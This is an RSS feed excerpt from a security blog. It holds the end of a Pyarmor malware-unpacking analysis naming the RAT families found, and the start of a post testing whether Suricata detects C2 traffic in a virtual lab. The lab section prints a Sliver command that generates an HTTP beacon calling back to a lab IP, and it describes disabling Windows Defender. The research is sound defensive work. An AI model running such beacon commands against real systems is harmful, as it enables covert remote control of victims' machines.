             &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CALL&lt;/span&gt;                     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;POP_TOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;74&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;76&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;78&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;JUMP_FORWARD&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;118&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;followed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pyarmor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leave&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function references that can be seen here do exactly what they say.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execute_shellcode&lt;/code&gt; function contains a huge base64-encoded string, which is decrypted using RC4, allocated as executable memory using Windows APIs, and then jumped into.&lt;/p&gt;

&lt;p&gt;So in the end, we don’t have “real” Python malware here, just a somewhat unusual malware packer.&lt;/p&gt;

&lt;h1 id=&quot;the-actual-malware&quot;&gt;The actual malware&lt;/h1&gt;

&lt;p&gt;The question remains - what malware did they try to infect us with?&lt;/p&gt;

&lt;p&gt;One thing is for certain: the amount of layers the malware is packed in is slightly ridiculous.
Whenever we unpacked one stage, we’d be faced with another packer and the payload got smaller and smaller, to a point where we wondered if anything would actually be left. In the end, the chain turned out to be this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Pyarmor&lt;/li&gt;
  &lt;li&gt;Shellcode (packer)&lt;/li&gt;
  &lt;li&gt;Injector generated by &lt;a href=&quot;https://github.com/capt-meelo/laZzzy&quot;&gt;laZzzy&lt;/a&gt;, injects into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notepad.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Shellcode (same packer as before)&lt;/li&gt;
  &lt;li&gt;.NET malware (sometimes also packed with additional .NET packer).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you count the initial dropper stages, the list is even longer.&lt;/p&gt;

&lt;p&gt;A comprehensive malware analysis would be out of scope here, and frankly, not that interesting, so we’re just going to leave you with some screenshots for code impressions.&lt;/p&gt;

&lt;figure id=&quot;dotnet1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/dotnet1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/dotnet1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/dotnet1.png&quot; alt=&quot;&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/dotnet1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/dotnet1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/dotnet1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 6: This specimen is a variant of the XWorm RAT&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure id=&quot;dotnet2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/dotnet2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/dotnet2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/dotnet2.png&quot; alt=&quot;&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/dotnet2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/dotnet2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/dotnet2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 7: PureHVNC RAT, stealing crypto wallets and browser data. It also collects basic info about your system, including whether a camera is plugged in&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure&gt;

  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Filename&lt;/th&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Malware family&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAdate.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;DcRat&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAScis.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;AsyncRAT&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GXrop.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;XWorm RAT&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HPUope.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;PureHVNC&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;

  &lt;figcaption&gt;Figure 8: Types of malware used in the campaign&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The other set of files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BArown.py&lt;/code&gt;, etc.) contains the same malware - the Python files have different hashes, but the final unpacked binaries are identical.&lt;/p&gt;

&lt;p&gt;In one of the next installments on this blog, we’re going to talk about .NET obfuscation, so stay tuned!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;GitHub repo with scripts developed for Pyarmor: &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Updated on April 4: We’ve identified the previously denoted as unknown sample &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HPUope.py&lt;/code&gt; to be PureHVNC.&lt;/p&gt;
</description>
        <pubDate>Wed, 12 Feb 2025 13:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/</guid>
        
        <category>python</category>
        
        <category>pyarmor</category>
        
        <category>unpacking</category>
        
        <category>malware</category>
        
        <category>packer</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Detection of Command and Control Traffic Using Suricata</title>
        <description>&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;First of all, I’m pretty proud to serve the first forensic blogpost @ &lt;a href=&quot;https://cyber.wtf/&quot;&gt;cyber.wtf&lt;/a&gt;.
This blog post is about the detection of Command and Control (C2) traffic and how attackers use frameworks to maintain remote access through common protocols like HTTP/S, DNS, or SMB.
The experiment we conducted involved installing these malicious tools within a virtual environment and utilizing Suricata and Wireshark to analyze the traffic in detail.
The main question behind this was essentially:&lt;br /&gt;
“Does Suricata detect C2 traffic (out of the box)?”&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#c2-basics&quot;&gt;C2 Basics&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#abused-c2-protocols&quot;&gt;(Ab)used C2 Protocols&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#open-source-nids&quot;&gt;Open Source NIDS&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#snort-vs-suricata&quot;&gt;Snort vs. Suricata&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#overview-of-et-open&quot;&gt;Overview of ET Open&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#virtual-lab&quot;&gt;Virtual Lab&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#generating-beacons&quot;&gt;Generating Beacons&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#sliver&quot;&gt;Sliver&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#havoc&quot;&gt;Havoc&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#dnscat2&quot;&gt;dnscat2&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#fk-around&quot;&gt;F**k around&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#results&quot;&gt;Results&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#diving-down-into-the-c2-network-traffic-with-wireshark&quot;&gt;Diving Down into the C2 Network Traffic with Wireshark&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#http-sliver&quot;&gt;HTTP (Sliver)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-havoc&quot;&gt;HTTP (Havoc)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#https--mtls&quot;&gt;HTTPS / mTLS&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#wireguard-vpn&quot;&gt;WireGuard VPN&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#smb&quot;&gt;SMB&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#dns&quot;&gt;DNS&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#summarizing-key-indicators-of-suspicious-behavior&quot;&gt;Summarizing Key Indicators of Suspicious Behavior&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#what-did-we-want-to-show-with-this-blog-post&quot;&gt;What did we want to show with this blog post?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#what-do-we-learn-from-this&quot;&gt;What do we learn from this?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;c2-basics&quot;&gt;C2 Basics&lt;/h2&gt;
&lt;p&gt;First things first, what is ‘Command and Control’ (Traffic)?
Command and Control, or C2, is a type of remote access solution, but not the kind of software installed by local IT staff.
Rather, it is a method cybercriminals utilize as an alternative way to gain or maintain a foothold, move laterally through the network, or interact with compromised hosts.&lt;/p&gt;

&lt;p&gt;There are many common open-source C2 frameworks seen in the wild, such as &lt;a href=&quot;https://github.com/HavocFramework/Havoc&quot;&gt;Havoc&lt;/a&gt; or &lt;a href=&quot;https://github.com/BishopFox/sliver&quot;&gt;Sliver&lt;/a&gt;, which are available on GitHub.
On the commercial side, you may come across Cobalt Strike by Forta or Brute Ratel by Dark Vortex.
Cobalt Strike, which is supposed to be used in penetration testing scenarios, is often abused by cybercriminals in ransomware incidents.&lt;/p&gt;

&lt;p&gt;Beacons are not typically executed by clicking on a malicious email attachment; rather, this usually occurs after the initial compromise of a single system.
The main components are the implant or beacon, which runs on the compromised host, and the C2 server, which has the capability to control the compromised host.
To achieve this goal, the beacon and the C2 server communicate within a typical client-server model.
The system initiating the session is the compromised host.
The main reason behind this is that outgoing internet traffic is not filtered or monitored as strictly as incoming traffic.&lt;/p&gt;

&lt;h2 id=&quot;abused-c2-protocols&quot;&gt;(Ab)used C2 Protocols&lt;/h2&gt;
&lt;p&gt;To make it even more complicated for blue teams, the traffic between the beacon and the C2 server is hidden within typical network protocols that are prevalent in a corporate network.
Abused protocols include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;HTTP (Hypertext Transfer Protocol)&lt;/li&gt;
  &lt;li&gt;HTTPS (Hypertext Transfer Protocol Secure)&lt;/li&gt;
  &lt;li&gt;DNS (Domain Name System)&lt;/li&gt;
  &lt;li&gt;(m)TLS (Transport Layer Security)&lt;/li&gt;
  &lt;li&gt;VPN (Virtual Private Network)&lt;/li&gt;
  &lt;li&gt;SMB (Server Message Block)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unfortunately, this is not the end of the story.
Many more protocols can be exploited to tunnel C2 traffic.
The main features the protocol must meet are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A bi-directional protocol, or alternatively, a P2P protocol&lt;/li&gt;
  &lt;li&gt;A native Windows API should be available to handle the traffic&lt;/li&gt;
  &lt;li&gt;The necessary permissions to use the aforementioned Windows API should be as minimal as possible&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, ICMP matches all these requirements and can therefore also be exploited.
As previously mentioned, most of the abused protocols appear regularly in network traffic, making them less suspicious when logged as outgoing traffic.
One exception is SMB, which is unusual and should generally be blocked.
DNS might also raise concerns for a firewall admin if it appears in an unusual manner.
For instance, if there is an internal DNS resolving all internal requests but one client is using a public DNS, this could raise suspicion.
However, ICMP, HTTP/S, or VPN/TLS traffic would typically not raise any concerns if logged in the outgoing firewall policy.&lt;/p&gt;

&lt;p&gt;This sets the stage for the next section, where the open-source NIDS/NIPS Suricata is explained in detail, so we may detect C2 traffic even without a NGFW in our company network.&lt;/p&gt;

&lt;h1 id=&quot;open-source-nids&quot;&gt;Open Source NIDS&lt;/h1&gt;
&lt;p&gt;There are many tools you might encounter when searching for “IDS” (Intrusion Detection System) on popular search engines.
IDS is a general term that also encompasses HIDS (Host Intrusion Detection Systems).
However, in this case, we are specifically looking at NIDS (Network Intrusion Detection Systems) or NIPS (Network Intrusion Prevention Systems).&lt;/p&gt;

&lt;p&gt;Although it is not entirely accurate, we will use the term NIDS to refer to both NIDS and NIPS collectively.
Since we will not be utilizing any features that intercept traffic, using the term NIDS will suffice for our purposes.&lt;/p&gt;

&lt;p&gt;If you’re interested in a more detailed explanation of what defines a NIDS, including its main components, I recommend an excellent book published in 2005: &lt;a href=&quot;https://link.springer.com/book/10.1007/11554578&quot;&gt;Foundations of Security Analysis and Design III&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;snort-vs-suricata&quot;&gt;Snort vs. Suricata&lt;/h2&gt;
&lt;p&gt;Snort is the oldest NIDS, dating back to before the 2000s and maintained by Cisco since 2013.
It offers two main rulesets: the “Community Ruleset,” which, as you might expect, is free, and an extended “Subscriber Ruleset,” which requires a paid subscription.&lt;/p&gt;

&lt;p&gt;Suricata had its first release in 2009 and is maintained by the “Open Information Security Foundation,” financially supported by Trellix (formerly known as FireEye) and several other commercial NGFW (Next Generation Firewall), NIDS providers that integrate Suricata into their products.
Suricata also has two main rulesets: the free “ET Open” and the paid “ET Pro” subscription.&lt;/p&gt;

&lt;p&gt;Even though Snort and Suricata are both NIDS/NIPS with nearly identical functionality, there are some key differences upon closer examination.
A few years ago, if you had asked someone working with NIDS, they might have said, “rely on Suricata if you expect high traffic volumes.”
This was because Snort lacked multi-threading or multi-core support, a feature that Suricata has had since its inception.
However, this is no longer the case, as Snort 3 now includes multi-threading capabilities.&lt;/p&gt;

&lt;p&gt;I came across an interesting paper from 2023, &lt;a href=&quot;https://pure.port.ac.uk/ws/portalfiles/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_Suricata.pdf&quot;&gt;A comparative analysis of Snort 3 and Suricata&lt;/a&gt;, which benchmarked Snort and Suricata under high traffic loads.&lt;br /&gt;
TL;DR: CPU and memory usage were nearly the same, but Snort showed slightly higher packet loss.
As a result, Suricata exhibited a marginally better false-negative rate compared to Snort.&lt;/p&gt;

&lt;p&gt;Here are some specific areas where the two systems differ and merit closer evaluation:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Protocol Support: Suricata supports more protocols than Snort.&lt;/li&gt;
  &lt;li&gt;Log Output Format: Both Snort (starting with version 3) and Suricata support (EVE) JSON as a log output format.
    &lt;ul&gt;
      &lt;li&gt;Snort 2, by contrast, uses Unified2, a proprietary format that is now deprecated.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Ruleset Updates: Updating rulesets in Suricata is more straightforward.
    &lt;ul&gt;
      &lt;li&gt;In Snort, you may need to write your own scripts for automation or use third-party tools like “PulledPork.”&lt;/li&gt;
      &lt;li&gt;As a result, implementing CTI (Cyber Threat Intelligence) is slightly less cumbersome with Suricata.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Alert Management: Neither system includes built-in alert management.&lt;/li&gt;
  &lt;li&gt;Anomaly Detection: Neither system supports statistics-based anomaly detection out of the box.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Personally, I find Suricata to be more modern and interoperable, so I focused my further testing exclusively on Suricata.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-et-open&quot;&gt;Overview of ET Open&lt;/h2&gt;
&lt;p&gt;In this section, we will provide a quick overview of “ET Open,” the free ruleset included with Suricata.
First of all, ET Open is updated regularly, so any numbers mentioned below may not apply in the future.&lt;/p&gt;

&lt;p&gt;ET Open contains around 50,000 rules, though a small number of them are commented out and will not be loaded, effectively making them absent.
Unfortunately, ET Open lacks structure, so analyzing it often requires extensive grepping.
Approximately 8,300 rules include terms such as classtype:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command-and-control&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Command and Control&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CnC&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2 communication&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;beacon&lt;/code&gt;.
Of these, about 1,700 are commented out, leaving roughly 6,500 active rules intended to detect C2 activity.
The protocols these rules cover, in descending order, are: HTTP, DNS, TLS, TCP, UDP, SMTP, ICMP, FTP, SMB, TCP-Stream, and IP (General).&lt;/p&gt;

&lt;p&gt;One thing we noticed is that the DNS rules are very specific, matching on known malicious domains.
However, we did not find any rules that take a more general approach to detecting suspicious parameters within the DNS protocol.
The same pattern holds true for the TLS rules: half of them (around 700 in total) match on known malicious names in the TLS Server Name Indicator (SNI), while the other half target the Subject field within TLS certificates.
These rules are effective for catching low-hanging fruit but are unlikely to remain effective in the long term, as malicious domains (and their corresponding certificates) change frequently.
Furthermore, with TLS 1.3, it is no longer possible to inspect the certificate (e.g., SNI or Subject) because this data is now encrypted.
Looking ahead, rules structured this way will have limited effectiveness in the future.&lt;/p&gt;

&lt;p&gt;In conclusion, we have Suricata as our NIDS and a collection of rules designed to detect C2 activity.
Let’s put them to the test in the next section.&lt;/p&gt;

&lt;h1 id=&quot;virtual-lab&quot;&gt;Virtual Lab&lt;/h1&gt;
&lt;p&gt;Before we can start, we need machines, a lot of virtual machines.
We installed the following systems:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Victim (Windows): Runs the C2 beacons&lt;/li&gt;
  &lt;li&gt;Victim-Pivot (Windows): Runs the SMB beacon&lt;/li&gt;
  &lt;li&gt;Attacker (Debian): C2 Server&lt;/li&gt;
  &lt;li&gt;Suricata (Ubuntu): Router and Suricata&lt;/li&gt;
  &lt;li&gt;dnscat2 (Ubuntu): C2 Server for DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All in all, the virtual network is configured as shown in the following figure:&lt;/p&gt;
&lt;figure id=&quot;network_setup&quot; class=&quot;figure-posts&quot; style=&quot;width: 75%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/network_setup.jpeg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/network_setup.jpeg&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/network_setup.jpeg&quot; alt=&quot;Network Overview&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/network_setup.jpeg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/network_setup.jpeg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/network_setup.jpeg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Network Overview&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;You may wonder why there is a Victim-Pivot, running the SMB beacon, sitting in the same network as the Attacker.
This is due to the specific usage of the SMB beacon, which does not communicate directly with the C2 server.
Instead, in Sliver’s implementation, it serves as an indirect method of communication by relaying through another beacon to a secondary system.
This process is illustrated in the following figure:&lt;/p&gt;
&lt;figure id=&quot;smb-beacon&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/smb-beacon.jpeg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/smb-beacon.jpeg&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/smb-beacon.jpeg&quot; alt=&quot;SMB Beacon Communication Flow&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/smb-beacon.jpeg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/smb-beacon.jpeg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/smb-beacon.jpeg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;SMB Beacon Communication Flow&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;p&gt;To keep things simple, the Victim-Pivot is located in the same network, ensuring that Suricata remains positioned between the C2 server and the SMB traffic.&lt;/p&gt;

&lt;p&gt;A few additional modifications:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Disable Windows Security Features:
    &lt;ul&gt;
      &lt;li&gt;Disable Windows Defender RTP to allow the beacons to execute without interference.&lt;/li&gt;
      &lt;li&gt;Set LimitBlankPasswordUse to 0 to allow SMB NULL Sessions.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Initial Suricata Configuration (suricata.yaml):
    &lt;ul&gt;
      &lt;li&gt;Set HOME_NET for the NIC at LAN1.&lt;/li&gt;
      &lt;li&gt;Include ET Open (suricata.rules) in the rule-files section.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Initial Configuration of the Suricata Host:
    &lt;ul&gt;
      &lt;li&gt;Configure iptables firewall rules.&lt;/li&gt;
      &lt;li&gt;Configure iptables NAT rules.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Prerequisites for C2 via DNS:
    &lt;ul&gt;
      &lt;li&gt;Purchase a domain.&lt;/li&gt;
      &lt;li&gt;Set Name Server (NS) entries for the domain, pointing to the dnscat2 C2 server.&lt;/li&gt;
      &lt;li&gt;Set TTL to 5 minutes.&lt;/li&gt;
      &lt;li&gt;Verify that DNS packets are reaching the C2 server.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, we can start with the tools to generate the C2 traffic, for which we chose the following tools:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/HavocFramework/Havoc&quot;&gt;Havoc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver&quot;&gt;Sliver&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/iagox86/dnscat2&quot;&gt;dnscat2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Havoc and Sliver are C2 frameworks that we will use to generate C2 traffic.
Both of them essentially perform the same function but exploit different protocols.
This way, we avoid putting all our eggs in one basket.
For this reason, we also tested a smaller GitHub project (dnscat2), which is not a full-fledged C2 framework but rather an attack tool that allows us to control the beacon via DNS.&lt;/p&gt;

&lt;p&gt;The following protocols were abused:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;HTTP/S (Sliver)&lt;/li&gt;
  &lt;li&gt;(m)TLS (Sliver)&lt;/li&gt;
  &lt;li&gt;WireGuard VPN (Sliver)&lt;/li&gt;
  &lt;li&gt;DNS (dnscat2)&lt;/li&gt;
  &lt;li&gt;HTTP and SMB (Havoc)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;generating-beacons&quot;&gt;Generating Beacons&lt;/h2&gt;
&lt;h3 id=&quot;sliver&quot;&gt;Sliver&lt;/h3&gt;
&lt;p&gt;Sliver is an interactive, console-like application with a beautified output, making it appear similar to a GUI.
Generating beacons with Sliver is straightforward and can be summarized as:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;generate beacon --[protocol] [c2-ip]:[port] --save [path]&lt;/code&gt;&lt;br /&gt;
For example:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;generate beacon --http 172.16.0.100:80 --save /home/http.exe&lt;/code&gt;&lt;br /&gt;
This command generates an HTTP beacon (by default for Windows) that contacts the C2 server at 172.16.0.100:80.
The process worked by default for all the beacons we used.
Some default parameters for the beacon are preconfigured, such as:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A timeout: the duration (default 60 seconds) the beacon waits before connecting to the C2 server.&lt;/li&gt;
  &lt;li&gt;A jitter: a random variation in the connection time, designed to avoid statistical detection.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After generating the beacon, the listener simply needs to be started by specifying the protocol, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http&lt;/code&gt; for the HTTP listener.
Once the beacon starts, it will appear in the interactive console, allowing interaction.&lt;/p&gt;
&lt;figure id=&quot;sliver_1&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/sliver_1.jpeg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/sliver_1.jpeg&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/sliver_1.jpeg&quot; alt=&quot;Sliver HTTP beacon startup&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/sliver_1.jpeg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/sliver_1.jpeg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/sliver_1.jpeg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Sliver HTTP beacon startup&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

